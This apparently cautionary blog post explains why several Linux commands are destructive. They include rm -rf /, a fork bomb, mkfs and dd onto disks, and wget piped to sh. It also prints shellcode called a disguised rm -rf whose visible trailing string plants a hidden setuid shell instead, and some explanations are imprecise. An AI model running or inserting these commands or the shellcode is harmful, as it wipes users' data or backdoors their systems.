Deadly commands to run in Linux

Many of these commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.


~# rm -rf / – Deletes everything!

rm – Remove the following files.

-rf – Run rm recursively [delete all files and folders inside the specified folder] and force-removes all files without prompting you.

/ – Tells rm to start at the root directory, including remote file shares and removable drives.

~# rm –rf ~ would delete all files in your home folder. ~# rm -rf .* would delete all your configuration files.


Disguised ~# rm –rf /

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is another version ~# rm –rf / – executing this command would wipe out your files just as if you had run ~# rm –rf /.


~# :(){ :|: & };: – Fork Bomb

This short line defines a shell function that creates new copies of itself. The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze.


~# mkfs.ext4 /dev/sda1 – Formats a hard drive

mkfs.ext4 – Creates a new ext4 filesystem on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Taken together, this command can be equivalent to running format c: on Windows – it will wipe the files on your first partition and replace them with a new file system.

This command could also appear as – mkfs.ext3 /dev/sdb2 this would format the second partition on the second hard drive with the ext3 file system.


~# command > /dev/sda – Writes directly to a hard drive

The command > /dev/sda – runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive which will damage the file system.

command – Run a command [can be any command.]

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.


~# dd if=/dev/random of=/dev/sda – Writes junk onto a hard drive;

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero.

of=/dev/sda – Output to the first hard disk, replacing its file system with random junk data.


~# mv ~ /dev/null – Moves the home directory to a black hole

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Moves the home folder to /dev/null, this destroys all the files and deletes the original files.


~# wget http://example.com/example -O – | sh – Downloads and runs a script

wget – Downloads a file – [curl could also be in place of wget]

http://example.com/example– Will download the file from that location.

| – Pipe the output of the wget command [the file you downloaded] directly to another command.

sh – will send the file to the sh command, which will execute it if it’s a bash script.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s